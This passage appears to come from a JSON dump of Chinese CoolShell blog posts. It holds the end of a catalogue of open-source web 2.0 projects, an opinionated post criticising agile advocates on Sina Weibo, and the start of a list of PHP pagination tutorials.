[Squirrelmail](http://www.squirrelmail.org/)，一款由PHP语言编写，基于标准的webmail软件包。它包括内建的纯PHP支持的IMAP和SMTP协议，所生成的页面绝对支持HTML4.0标准(无需JavaScript支持)，这样可以运行在更多的平台和更多的浏览器上。它的系统安装要求非常低，但是非常容易安装和配置。SquirrelMail拥有你的客户端邮件程序所拥有的一切，比如增强型的MIME支持、地址薄、文件夹操作等等功能。\n+ [Horde Groupware Suite](http://www.horde.org/)，一个强大的邮件办公套件。\n\n\n* **邮件列表** （Google Groups, Yahoo Groups）\n+ [Freelists](http://www.freelists.org/)\n+ [Mailman](http://www.gnu.org/software/mailman/index.html)，管理电子信箱讨论和自由软件电子通讯清单。 支持内置的归档，自动退回处理，内容过滤，消化交货，垃圾邮件过滤器等。\n\n\n* **论坛** （vBulletin）（注：国内的主要是用Discuz!）\n+ [phpBB](http://www.phpbb.com/)，中文的在这里[http://www.phpbbchina.com](http://www.phpbbchina.com/)\n+ [Phorum](http://www.phorum.org/)，基于PHP+MySQL开发的开源论坛项目。它的特点是速度快，功能强大，面向模块化设计，安装简单。此外Phorum还集成电子报。\n+ [Vanilla](http://www.vanillaforums.org/)，是很多外国牛人都在用的一款开源论坛程序，它不像我们熟知的phpBB之类的或是类似我国discuz，phpwind的模式，而是采取了全新的内核和界面，界面类似于stackflow，所以用它来做一个社交性的问答网站也是个不错的选择。\n+ [Ospo](http://sourceforge.net/projects/ospo/)，是一项开源社交门户站点方案。它拥有标准功能（添加、删除好友，前十排行榜），论坛整合、音乐模块（带有艺术家目录的专辑和歌曲）、广播心情整合、日志（添加、删除、修改、检查）等等众多功能。\n\n\n* **日历**（cf, 30boxes, Google calendars, ScheduleWorld）\n+ [Zimbra Collaboration Suite](http://www.zimbra.com/products/zimbra-open-source.html)，功能的通信及协作办公应用程序，提供可靠和高效能的邮件、地址簿、效率手册、任务列表以及网络文档制作功能。\n+ [Web Calendar](http://www.k5n.us/webcalendar.php/)，一款漂亮的Flash日历，可以添加在网页上，它可以高亮显示事件，会议，节假日的日期。\n+ [Funambol](https://www.forge.funambol.org/DomainHome.html)，世界领先的开源云同步和PUSHMAIL工具，支持诸多手提移动设备，包括苹果、黑莓、Android、Windows Mobile、索爱、三星、诺基亚等20余款。\n+ [Joyent Connector](https://dev.joyent.com/projects/connector/wiki/Connector/)，免费提供Office 2.0的功能，如团队电子邮件、日程安排、相互联系、文档和书签。\n+ [Horde Groupware Suite](http://www.horde.org/apps/kronolith/)，协同办公套件。\n\n\n* **会议和评审管理**\n+ [Openconf](http://www.openconf.com/)，开源的会议管理系统，主要提供以下功能：电子提交、评审、论文答辩，以及会议主席对整个过程的管理等。\n+ [MyReview](http://myreview.lri.fr/)，学术会议的论文提交和论文评审。\n+ [EasyChair](http://www.easychair.org/)，会议管理系统。\n+ [CyberChair](http://borbala.com/cyberchair/)，论文提交和评审系统。\n+ [iChair](http://lasecwww.epfl.ch/iChair/)，会议系统，支持论文提交，评审，讨论等。\n+ [Indico](http://indico-software.org/)，会议计划，组织，支持从简单到复杂的会议。\n+ [ICEcore](http://www.oschina.net/p/icecore)，开放团队合作软件使用社交联网统一团队工作空间、实时网络会议、项目管理、实践团体以及远程操作。\n\n\n* **反馈**（Pollmonkey, Google Forms）\n+ [Limesurvey](http://www.limesurvey.org/)，前身为PHPSurveyor）是一款在线问卷调查程序，它用PHP语言编写并可以使用MySQL，PostgreSQL或者MSSQL等多种数据库，它集成了调查程序开发、调查问卷的发布以及数据收集等功能，使用它，用户不必了解这些功能的编程细节。\n\n\n* **其它**\n+ [AROUNDMe](http://www.barnraiser.org/aroundme/)，可以创建像Ning, Myspace, Yahoo or Google groups一样的合作网站。每个群组可以创建多个网页，网页上包括留言簿、博客、论坛、维基百科等功能。每个群组还可以通过xHTML, CSS, JavaScript and PHP来进行自定义。\n+ [InteractOLE](http://interactome.org/)，是一款网络学习的递交和支持平台。与其他在线学习平台不同，InteractOLE致力于教学与学习的社交和互动方面，而不是向学生们学习内容的提供。\n\n\n#### 纯Web 2.0服务\n\n\n\n\n* **Feed操作**（Yahoo Pipes）\n+ [Deri Pipes](http://pipes.deri.org/)，像Yahoo Pipes一样，可视化的在线编程工具，它是一个用于过滤、转换和聚合网页内容的服务。\n\n\n* **Feed 聚合**（Bloglines, Google Reader）\n+ [Newsblur](http://newsblur.com/)，像Google Reader一样的一个RSS在线阅读器。\n+ [rsslounge](http://rsslounge.aditu.de/)，基于PHP+MySQL开发的RSS供稿阅读器。可以分类，过滤供稿，设置优先权。除标准的供稿项目之外，还支持图片/照片。\n+ [Tiny Tiny RSS](http://tt-rss.org/redmine/)，基于Web的RSS/Atom新闻聚合器。它的UI基于Ajax技术开发所以看起非常像一个桌面应用程序。\n+ [Lilina](http://getlilina.org/)，一个开源的RSS新闻聚合器实现，功能强大，方便易用，而且最大的好处是不需要数据库支持。\n+ [OpenWebReader](http://openwebreader.org/)，多用户的RSS聚合阅读。\n+ [Gregarius](http://sourceforge.net/projects/gregarius/)，RSS/RDF/ATOM新闻聚合器支持OPML导入/导出，XHTML/CSS输出。它包含一个基于Ajax的itemtagging系统。\n+ [Cheetah News](http://cheetah-news.com/)，利用AJAX技术构建的RSS阅读器，完美支持中文。\n+ [Memephage](http://www.oschina.net/p/memephage)，是一种自动化网络日志。它能搜集并总结从不同地方收集来的连接，目前是从IRC, 社交MUD，邮件和浏览器中搜集，并使用POE多任务处理和网络框架。\n+ [Ozcode](http://sourceforge.net/projects/ozcode/)，是Ozmozr.com背后的源代码, 一个微型RSS聚合器，可以进行网络社交、信息分享、身份聚合与展示的网站。\n\n\n* **社区聚合**（FriendFeed）\n+ [Identi.ca](http://identi.ca/)，一个新的微网志服务, 其实现在微博服务真的是很多了, 不过这个比较特别一点的是, identi.ca 用PHP 开发, 可以用jabber/GTalk, 也可以用openid 来登录，主要的是，其是开源项目。\n+ [Noserub](http://noserub.com/)，提供的建站程序，可以创建属于你的微型门户，包括 Blog、网络摘录、图片分享、视频、Twitter 等等的，都可以罗列出来，并且通过 RSS 实时更新内容，你的朋友们可以方便的获知你在网络里经常去哪里，最近在关注一些什么，做些什么，想些什么。\n\n\n* **社区新闻**（digg）\n+ [Meneame](http://meneame.net/)，程序是类似Digg的西班牙程序，网址是<http://websvn.meneame.net/>\n+ [Pligg](http://pligg.com/)，最灵活的类似Digg的Web2.0 CMS系统！网页设计师可以使用*Pligg*做他(她)想做的任何事情。稍微懂一些PHP和Mysql的知识即可安装*Pligg*。\n+ [Drigg](http://drupal.org/project/drigg/)，基于Drupal 构建的PHP的Digg网站系统。\n+ [Reddit](http://www.reddit.com/)，其源码和文档在这里：<https://github.com/reddit/reddit>\n+ [CommunityNews](http://sourceforge.net/projects/communitynews/)，通过使用社交书签和贝叶斯定理技术向博客定期提供记录。用户可以通过投票支持或反对RSS来源以支持那些受欢迎的资源。\n+ [NewsCloud](http://opensource.newscloud.com/)，是一款基于NewsCloud.com专为平民新闻业和社会新闻网络设计的开源传媒平台。\n+ [Jamss](http://jamss.sourceforge.net/)，是基于Digg.com的社交新闻网站, 其通过PHP/MySQL运行。.Jamss 考虑到了行内意见和网络文章的评论，还可以灵活适应多种主题。\n\n\n* **社区网络**（Facebook, Twitter）\n+ [Friendika](http://portal.friendika.com/)，一个由PHP+MySQL的免费应用程式(Open Source)，提供使用者一个单一的界面来控制社群网路服务。支援的社群网路应用服务包括Facebook，Twitter、WordPress、Blogger、Identi.ca、RSS订阅与电子邮件等等的整合服务。\n+ [Diaspora](https://joindiaspora.com/)，让你将您的关系分成多个视图（Google+的圈子），每个视图是您生活的不同部分。这是Diaspora首创，用来确保您的照片、经历和笑话，只与您所希望分享的人分享。\n+ [Buddypress](http://buddypress-es.com/)，是 WordPress 母公司的一个全新的开源程序，BuddyPress 从本质上说其实是 WordPress 的插件。BuddyPress 把 WordPress的关注点从博客转移到了社区。当然，用户还是能够使用WordPress的所有的博客功能，只是当用户使用 BuddyPress 时，第一要做的是创建他们个人档案，第二才是写博客。\n+ [GNU Social](http://foocorp.org/projects/social/)，GNU的SNS。\n+ [Elgg](http://www.elgg.org/)，一款免费开源的社会性网络脚本程序(php/mysql)，以BLOG为中心实现社会网络化，从社会性来讲：Elgg以兴趣为核心的社交平台。它包括网络日志、资料存储、RSS集合、个人档案、FOAF功能等等。\n+ [SocialEngine](http://www.socialengine.net/index_vivalogo.php)，是一款由PHP和Zend控制的网络软件，其脚本让你可以轻松地创建属于你自己社交网站或是在线社区，包括自定义群组、相册、消息、用户档案、视频、新闻订阅，拖放群集邮箱服务器等等功能。\n+ [iSocial](http://www.isocial.in/)，是一款免费社交网络脚本平台，你可以用它建立像Friendster和Orkut那样可以一键使用书签，约会和建立群组的社交网站。\n+ [Mahara](http://mahara.org/)，有着电子档案、网络日志、简历编辑工具、联系用户的社交网络系统以及建立在线社区的齐全功能。\n+ [The PeopleAggregator](http://sourceforge.net/projects/peepagg/)，是全新一代的社交网站系统，它力求应用开放的标准、密切的网络互动和强大的灵活性。\n+ [Appleseed](http://opensource.appleseedproject.org/)，是一款类似Friendster的社交网站软件。网站运行appleseed将互通，形成Appleseed的社交网站。该软件发展的重点是对隐私和安全，以及易用的配置。\n+ [Mugshot](http://www.mugshots.com/)，则通过一系列的WEB CRM、照片、日志等等让你时刻了解朋友们的最新动态。\n+ [Clonesumating](http://code.google.com/p/clonesumating/)，是[CONSUMATING.COM](http://consumating.com/)代码的开源版本， 其功能有用户档案、用户标签、配对并发现古怪标签合并、团队活动（比如每周照片评选、博客问答）、事件日历、PSS订阅等等。\n+ [BeWelcom Rox](http://www.bevolunteer.org/trac/)，是[www.bewelcome.org](http://www.bewelcome.org/)等其他社交网站的运作平台，它将人们真实地聚集了在一起。在那里人们了解全球村庄以及其他文化，分享自己的所在地，组织旅游，写旅游博客等等。\n+ [OpenPNE](http://sourceforge.net/projects/openpne/)，是由PHP写成的网络社交服务引擎，其功能有好友管理、好友邀请、日记、博客、订收件箱等等。\n+ [WorldSpace](http://sourceforge.net/projects/worldspace/)，是一款用户可拓展的共享虚拟空间，它致力于成为新一代的社交网络系统。\n+ [Zoints](http://zoints.com/)，这一款软件熟知在线社区是互联网中最重要的一部分，它所正是为帮助解决论坛版主所面临的三大问题（即获得会员，保留会员和盈利）而设计的。\n\n\n* **社区书签**（Delicious）\n+ [Scuttle](http://en.wikipedia.org/wiki/Scuttle \"Scuttle\")，开源Web书签系统，允许多个用户在线存储，共享和Tag他们喜欢的链接。\n+ [Semantic Scuttle](http://sourceforge.net/projects/semanticscuttle/)，是一款基于Scuttle的社交书签工具。它可以试验像层次化标签、合作描述、OpenID认证这样的全新功能。\n+ [Sabros.us](http://sourceforge.net/projects/sabrosus/)，一个基于互联网的书签系统。它与del.icio.us 是相似，您能在网上处理您的书签, 或者自己建立一个网站。\n+ [Connotea](http://www.connotea.org/)，是 NGP(Nature Publishing Group) 旗下的网站，借鉴当前流行的 del.icio.us 等社会书签的创意，专注于科研领域，并可导入桌面文献管理软件的数据，是当前比较流行的一款在线文献管理工具。\n+ [Pressmark](https://github.com/alx/pressmark/)\n+ [Shiftspace](http://www.shiftspace.org/)，让你的Wordpress成为像 [del.icio.us](http://del.icio.us/), [sabros.us](http://sabros.us/)这样的站点。\n+ [Ma.gnolia 2](http://wwwhatsnew.com/2006/02/02/magnolia-algo-grande-llega-desde-el-mundo-de-los-bookmarks/)，基于Ruby开发。它的界面比较漂亮，但速度比较慢，另外搜索仅限于tag。\n+ [Akarru](http://sourceforge.net/projects/akarru)，是一款用来建立像[www.blogmemes.com](http://www.blogmemes.com/)网站的社交书签引擎。用户可以通过投票系统在首页上张贴链接并推销链接。\n+ [Monkey Chow](http://www.shokk.com/blog/articles/category/monkeychow/)，是一款带有社交书签、主题文章、来源标签、OPML、文章搜索、编辑来源属性等等众多功能的新闻聚合浏览器。\n+ [Feed Me Links](http://feedmelinks.com/)，可以将你的书签存储在网上以便随时随地使用，输入你最喜爱的网址并和好友们分享，加标签来管理不同链接，还有更多新鲜事物等待你来发现。\n\n\n* **短网址服务**（TinyURL）\n+ [tinyULL](https://gitorious.org/mencey/tinyull)，不是tinyURL，别看错了。\n\n\n#### 身份和安全\n\n\n\n\n* **域名**\n+ [Namecoin](http://www.namecoin.us/)/[.bit](http://dot-bit.org/)，基于bitcoin技术的分散、开放DNS系统。.bit域名到底靠不靠谱啊，是不是有P2P网络存在，.bit网站就能永远访问？会不会被墙？我们不得而之。\n+ [Social DNS](http://www.socialdns.net/)\n+ [Distributed DNS](http://distributeddns.sourceforge.net/)\n\n\n* **身份凭证**\n+ [OpenID](http://wiki.openid.net/w/page/12995176/Libraries/)，一个去中心化的网上身份认证系统。对于支持OpenID的网站，用户不需要记住像用户名和密码这样的传统验证标记。取而代之的是，他们只需要预先在一个作为OpenID身份提供者（identity provider, IdP）的网站上注册。OpenID是去中心化的，任何网站都可以使用OpenID来作为用户登录的一种方式，任何网站也都可以作为OpenID身份提供者。OpenID既解决了问题而又不需要依赖于中心性的网站来确认数字身份。OpenID正在被越来越多的大网站采用\n+ [OAuth](http://oauth.net/code/)，（开放授权）是一个开放标准，允许用户让第三方应用访问该用户在某一网站上存储的私密的资源（如照片，视频，联系人列表），而无需将用户名和密码提供给第三方应用。\n\n\n* **加密**\n+ [CACert](http://www.cacert.org/)，想给自己申请一份电子邮件证书或者给自己的[网站](http://blog.mop.name/category/%e8%b6%a3%e7%ab%99)、服务器申请一个SSL证书是很不容易的，你每年都得给CA（证书颁发验证组织）缴纳不少的证书申请费。有了CAcert，国外一个[免费](http://blog.mop.name/category/free)的数字证书颁发组织，你可以[免费](http://blog.mop.name/category/free)注册成为用户，申领个人证书和服务器证书等。证书被各种浏览器、邮件客户端所支持。\n\n\n#### 其它\n\n\n* **翻译**（Google Translator）\n+ [Apertium](http://www.apertium.org/)，一个机器翻译平台，由西班牙政府和加泰罗尼亚自治政府拨款支持阿利坎特大学开发。\n\n\n* **桌面**（iGoogle, netbives）\n+ [EyeOS](http://www.eyeos.org/)，一款web桌面环境, 俗称Web Operating System (Web OS)或者Web Office. eyeOS是一个开源的软件, 用户可以自由下载或者在eyeOS的服务器 eyeOS server 上使用. 基本的系统附带一些办公软件和 PIM 应用, 并且在官方http://eyeos.org可以找到完整的程序代码。其开发哲学是：Taking Your Life Everywhere!\n+ CorneliOS，一款运行在服务器端、基于网络的网络虚拟操作系统，本身通过HTML和（或）XHTML为用户提供各种服务，这也就意味着用户只需要使用普通浏览器即可连接并使用这款操作系统。非常类似 eyeOS。\n\n\n* **3D库**（Google SketchUp 3D Warehouse, Google O3D API）\n+ [Mozilla Canvas 3D](https://wiki.mozilla.org/Canvas:3D)，OpenGL 3D Web。\n+ [Web KML Viewer](http://www.doogal.co.uk/KmlViewer.php/)。\n\n\n**参考**\n\n* [Wikipedia](http://en.wikipedia.org/wiki/List_of_free_software_for_Web_2.0_services)\n* [搭建你自己的社交网络：开源社交网络程序集合](http://www.dasheyin.com/da_jian_ni_zi_ji_de_she_jiao_wang_luo_kai_yuan_she_jiao_wang_luo_cheng_xu_ji_he.html)\n\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\nThe post [疯狂的 Web 应用开源项目](https://coolshell.cn/articles/5132.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-8-12 在新浪微博上关于敏捷的一些讨论.md",
    "content": "---\nlayout: post\ntitle: 在新浪微博上关于敏捷的一些讨论\ndate: 2011/8/12/ 0:22:58\nupdated: 2011/8/12/ 0:22:58\nstatus: publish\npublished: true\ntype: post\n---\n\n自从我发布了“[Scrum为什么不行](https://coolshell.cn/articles/5044.html \"为什么Scrum不行？\")”，并被CSDN推成首页头条后，我在我的新浪微博上就经常被敏粉们@去讨论他们的一些话题。**他们似乎想要从我这里听到一些不同的声音，我很喜欢他们的这种态度，在这里先赞他们一个**。既然，让我来评论他们的东西，我就不客气了，板砖自然是少不了的。 我觉得我在微博上的观点比较散，所以在这里做一个汇总。我在所有批评敏捷的文章里都重复说过我的立场，这里还要再说一遍，因为那群人很敏感——“**我承认敏捷中有一些东西我是认可的，但对敏捷社区的推广和思维方式我持否定态度**”。\n\n\n#### 敏捷词汇表\n\n\n我被[@吴穹adam](http://weibo.com/adamwu73)邀请进入了一个[敏捷词汇表的微群](http://q.weibo.com/852378?source=weibohome)，这个群就是想明确的定义一下敏捷的各种词汇，比如，他们想把TDD定义成就是UT。呵呵。我对这个群仅保持了30分钟的热度，我在里面发了一个“你们不想讨论技术吗？”的帖子，就再也不想关注了。因为我的观点如下：\n\n\n* 我不知道干这件事有什么意义。标准化还是洗脑？One World, One Agile?  – **horse shit!**\n* 你能定义地好吗？定义好了大家都能干好了？ – **幼稚！**\n* 理解不同又有什么关系？价值观不同又能怎么样？为什么不能正视并接受世界的不同呢？ –  **固执！**\n\n\n#### **敏捷宣言**\n\n\n我看到很多人又把《敏捷宣言》拿出来说事，就好象他们把敏捷宣言是软件开发的普世的价值观一样。我对此的评论是—— \n\n\n\n> [@左耳朵耗子](http://weibo.com/haoel)：微博里多了很多《敏捷宣言》的话题，这让我想到了《共产党宣言》， 这两个组织里的某些人很相似，都通过宣言来树立价值观，然后通过传教的方式四处宣讲来影响大众吸收党羽，并要求对其价值观的信仰，还以一种革命者的态度来实践…… 建议程序员还是多研究技术细节，关注技术发展趋势，分析产品和用户需求。\n> \n> \n\n\n#### 博文评论\n\n\n[@吴穹adam](http://weibo.com/adamwu73)发表了一篇《[为什么纯粹的Scrum在中国很难落地（一）](http://blog.csdn.net/adwu73/article/details/6677908)》并欢迎我去拍砖。我拍了下面几块砖：\n\n\n* 看标题还以为要谈什么中国实际的问题，结果只是一些文章的读后感。没有实际价值。\n* 我对为什么在中国难落地的原因提了三条：\n+ 你们总是想以Scrum为中心来改变实际情况和民众，而不是民众自发的。\n+ 世界是不同的，多元的，这告诉我们不要死读书，读死书，更不能教条主义。\n+ 世界是不完美的。有很多东西无法改变的，如人性，文化，政治…… 要学会接受并管理他们。\n\n* 我给[@吴穹adam](http://weibo.com/adamwu73)的建议——**只有当你开始关注实际情况的时候，你才能真正成为一个实践者**。\n\n\n看到在[评论中](http://weibo.com/1880082254/xiWv9AShm)——\n\n\n\n>  “[@张权先生](http://weibo.com/n/%E5%BC%A0%E6%9D%83%E5%85%88%E7%94%9F)：团队拒绝Coach，与敏捷实践缺乏统一认知有关，书籍、网上资料中，很多信息是不统一的，混乱的局面只能从信息源头抓起，规范术语、规范表述为好”。\n> \n> \n\n\n我观点是：\n\n\n* 先得对大众洗脑，统一认识？和谐？\n* 一千个人有一千个哈姆雷特，认识不同又有何妨？\n\n\n[@蔡晓东\\_](http://weibo.com/1949520867)发了一篇《[低层级的敏捷毫无意义，组织级敏捷才是敏捷的核心问题](http://weibo.com/1949520867/xiZRDCOr1)》的长微博，也让我去讨论。我这样回复——“**为什么你们一定要定义哪种软件开发是敏捷？哪种不是? 为什么一定要敏捷呢？做这个划分的目的是什么？是不是只有这样搞，某些组织某些人才有饭碗呢?**”， 我希望敏捷社区的人能正面回答我这个问题。\n\n\n我的一个前同事回复到：\n\n\n\n> [@ilinux](http://weibo.com/n/ilinux):”低层级的敏捷毫无意义，组织级敏捷才是敏捷的核心问题”, 这口号听起来就像是要, 从生产关系上和上层建筑着手，解放全世界无产阶级码农。\n> \n> \n\n\n还有一个朋友回复到（多好的建议）：\n\n\n\n> @[横刀天笑](http://weibo.com/yuyijq) 低层次不干好，就别谈组织的了吧。。。说实话，我喜欢持续改善，讨厌重大变革。喜欢基础实践，讨厌空喊口号。\n> \n> \n\n\n#### 后续\n\n\n下面这个微博看来是怒了，敏捷社区，你能告诉我这是为什么吗？\n\n\n\n> [@陈加兴](http://weibo.com/silentriver)：所谓“观其言，察其行”，别人的话摘录再多，终究是别人说的话，和你一毛钱关系都没有。言必称“敏捷”，把敏捷搞得跟唐诗三百首似的颠过来倒过去地背，却不知软件中“设计”为何物，我实在不知道这样“没有项目经验如何谈敏捷”？没有一点团队管理经验，却处处指导众生管理团队，真是神仙下凡啊。\n> \n> \n\n\n\n> [@陈加兴](http://weibo.com/n/%E9%99%88%E5%8A%A0%E5%85%B4):回复[@徐毅-Kaveri](http://weibo.com/n/%E5%BE%90%E6%AF%85-Kaveri):对事不对人，这种混子行径我唾弃，不点名，因为可以对号入座的人，多着呢。\n> \n> \n\n\n我也认识很多混子，包括现在或曾在TW里的。\n\n\n最后，让我再echo一下前面的话—— **这两个组织里的某些人很相似，都通过宣言来树立价值观，然后通过传教的方式四处宣讲来影响大众并吸收党羽，并要求对其价值观的信仰，还以一种革命者的态度来实践……** （有几个网友在我这个微博中讨论了很多，[大家可以去看看](http://weibo.com/1401880315/xiFMptHMg)。） **看这些所谓的咨询师、实践者、倡导者有没有料，你就直接和他谈技术实现，谈业务需求，谈产品分析，你就知道他有多少水水了**。\n\n\n***————更新2011年8月13日————***\n\n\n#### 糊弄客户？\n\n\n在微博上看到InfoQ主编+TW咨询师[@张凯峰](http://weibo.com/n/%E5%BC%A0%E5%87%AF%E5%B3%B0)同学的一条微博的回复（[原微博在这里](http://weibo.com/1416875735/xjiafswMq)）\n\n\n![](../wp-content/uploads/2011/08/张凯峰的微博.png \"张凯峰的微博\")张凯峰的微博：如果客户连需求都说不出一二来，那就太好糊弄了。\n糊弄客户！所以，我可以类推他会说——“**如果你不懂敏捷，那就太好糊弄了**”。这就是TW的咨询师。呵呵。\n\n\n接下来，另一个自称“Agile导师”@[张义军SH](http://weibo.com/1849127973)说，\n\n\n\n> [张义军SH](http://weibo.com/1849127973) 陈浩这次确实有点断章取义了，应该说张凯峰的说法还是很实在的 //[@左耳朵耗子](http://weibo.com/n/%E5%B7%A6%E8%80%B3%E6%9C%B5%E8%80%97%E5%AD%90)：回复[@张凯峰](http://weibo.com/n/%E5%BC%A0%E5%87%AF%E5%B3%B0): 糊弄客户?! 看到了吧，InfoQ总编，TW咨询师，真面目暴露出来了吧。//[@张凯峰](http://weibo.com/n/%E5%BC%A0%E5%87%AF%E5%B3%B0):回复 [@weidagang](http://weibo.com/n/weidagang):如果客户连需求都说不出一二来，那就太好糊弄了。\n> \n> \n\n\n这就很强大啊——我到是想听听这个导师认为的“糊弄”的说法怎么个实在法？于是他回复到：\n\n\n\n> [张义军SH](http://weibo.com/1849127973 \"张义军SH\")：回复[@左耳朵耗子](http://weibo.com/n/%E5%B7%A6%E8%80%B3%E6%9C%B5%E8%80%97%E5%AD%90): 我是在看整个讨论过程。在客户没有想法没有太多思路时，他说客户容易糊弄我觉得确实如此，评级很实在。但他们后面在深入讨论这个问题，我认为您也应该看看，给一些建设性意见。\n> \n> \n\n\n呵呵，用户提不出准确的需求这太正常不过了，但是这不代表用户傻，可以糊弄。另外，尤其是那些创新的项目，哪有什么需求，只有一个大概的方向，谁都不知道该做成什么样，我现在做的就是这样的项目。不做个原型，不前期试探一下用户和市场，谁也不知道。\n\n\n另外，我想告诉这些人，用户需求提不出来很正常，提偏了也很正常，关键在于我们的需求分析能力。福特汽车公司的创始人说过——“**如果我问用户要什么，他们会告诉我他们要一匹更快的马！**”，**大多数平庸的人都会去饲养“一匹更快的马”，而不是分析需求后了解到用户的需求是——“更快的交通工具”。**\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![“单元测试要做多细？”](../wp-content/uploads/2012/09/fight-150x150.jpg)](https://coolshell.cn/articles/8209.html)[“单元测试要做多细？”](https://coolshell.cn/articles/8209.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5531.html)[Test-Driven Development？别逗了](https://coolshell.cn/articles/5531.html)\n* [![为什么Scrum不行？](../wp-content/uploads/2011/07/hat-150x150.jpeg)](https://coolshell.cn/articles/5044.html)[为什么Scrum不行？](https://coolshell.cn/articles/5044.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4891.html)[Bob大叔和Jim Coplien对TDD的论战](https://coolshell.cn/articles/4891.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/3778.html)[敏捷水管工](https://coolshell.cn/articles/3778.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3745.html)[再谈敏捷和ThoughtWorks中国咨询师](https://coolshell.cn/articles/3745.html)\nThe post [在新浪微博上关于敏捷的一些讨论](https://coolshell.cn/articles/5143.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-8-14 PHP分页技术的代码和示例.md",
    "content": "---\nlayout: post\ntitle: PHP分页技术的代码和示例\ndate: 2011/8/14/ 6:49:22\nupdated: 2011/8/14/ 6:49:22\nstatus: publish\npublished: true\ntype: post\n---\n\n本文来自：[10 Helpful PHP Pagination Scripts For Web Developers](http://zoomzum.com/php-pagination-scripts/)\n\n\n分页是目前在显示大量结果时所采用的最好的方式。有了下面这些代码的帮助，开发人员可以在多个页面中显示大量的数据。在互联网上，分​页是一般用于搜索结果或是浏览全部信息（比如：一个论坛主题）。几乎在每一个Web应用程序都需要划分返回的数据，并按页显示。下面的这个列表给出的代码可以让你的开发很有帮助。**学习这些代码，对于初学者也很有帮助**。\n\n\n#### 1)[使用Ajax分页](http://www.9lessons.info/2010/10/pagination-with-jquery-php-ajax-and.html)\n\n\n \n\n\n \n\n\n下面这个示例使用了jQuery + PHP。 [Demo link](http://demos.9lessons.info/pagination/pagination.php)\n\n\n![](../wp-content/uploads/2011/08/Pagination-e1312791884744.jpg \"Pagination\")\n\n\n\n#### 2) [MySql 分页](http://php.about.com/od/phpwithmysql/ss/php_pagination.htm)\n\n\n \n\n\n数据库的分页处理。\n\n\n![](../wp-content/uploads/2011/08/PHP-Pagination1-e1312794857680.jpg \"PHP-Pagination\")\n\n\n#### 3) [Facebook/Twitter 风格的分页](http://youhack.me/2010/05/14/an-alternative-to-pagination-facebook-and-twitter-style/)\n\n\n![](../wp-content/uploads/2011/08/twitter-pagination-e1312792153888.png \"twitter-pagination\")\n\n\n#### 4) [Php & MySql 分页](http://www.phpeasystep.com/phptu/29.html)\n\n\n![](../wp-content/uploads/2011/08/PHP-Pagination-e1312792516937.jpg \"PHP Pagination\")\n\n\n#### 5)[分页风格](http://www.bitrepository.com/css-stylish-pagination-links.html)\n\n\n \n\n\n一个简单的教程教你如何用CSS定义不同风格的分页。\n\n\n![](../wp-content/uploads/2011/08/CSS-Pagination-e1312792632740.jpg \"CSS Pagination\")\n\n\n#### 6) [PHP 分页类](http://phpsense.com/php/php-pagination-script.html)\n\n\n \n\n\n一个PHP的分页类\n\n\n![](../wp-content/uploads/2011/08/PHP-Pagination%C2%A0Script-e1312795287434.jpg \"PHP Pagination Script\")\n\n\n#### 7) [Easy Pagination](http://www.phpeasycode.com/pagination/)\n\n\n这是一个PHP库，可以让你更容易的做分页。  \n\n![](../wp-content/uploads/2011/08/php-easy-code.jpg \"php easy code\")\n\n\n#### 8 ) [基本分页](http://www.phpfreaks.com/tutorial/basic-pagination)\n\n\n \n\n\n一个很不错简单易懂的分页教程。\n\n\n![](../wp-content/uploads/2011/08/Pagination-Script-and-Tutorial-e1312793432650.jpg \"Pagination Script and Tutorial\")\n\n\n#### 9) [Php Page](http://www.developphp.com/view_lesson.php?v=289)\n\n\n### \n\n\n一个简单的PHP的教程\n\n\n![](../wp-content/uploads/2011/08/PHP-Freaks-e1312793481308.jpg \"PHP Freaks\")\n\n\n#### 10) [perfect-php-pagination](http://www.sitepoint.com/perfect-php-pagination/)\n\n\n \n\n\n也是一个分页教程。\n\n\n![](../wp-content/uploads/2011/08/Perfect-PHP-Pagination.jpg \"Perfect PHP Pagination\")\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* 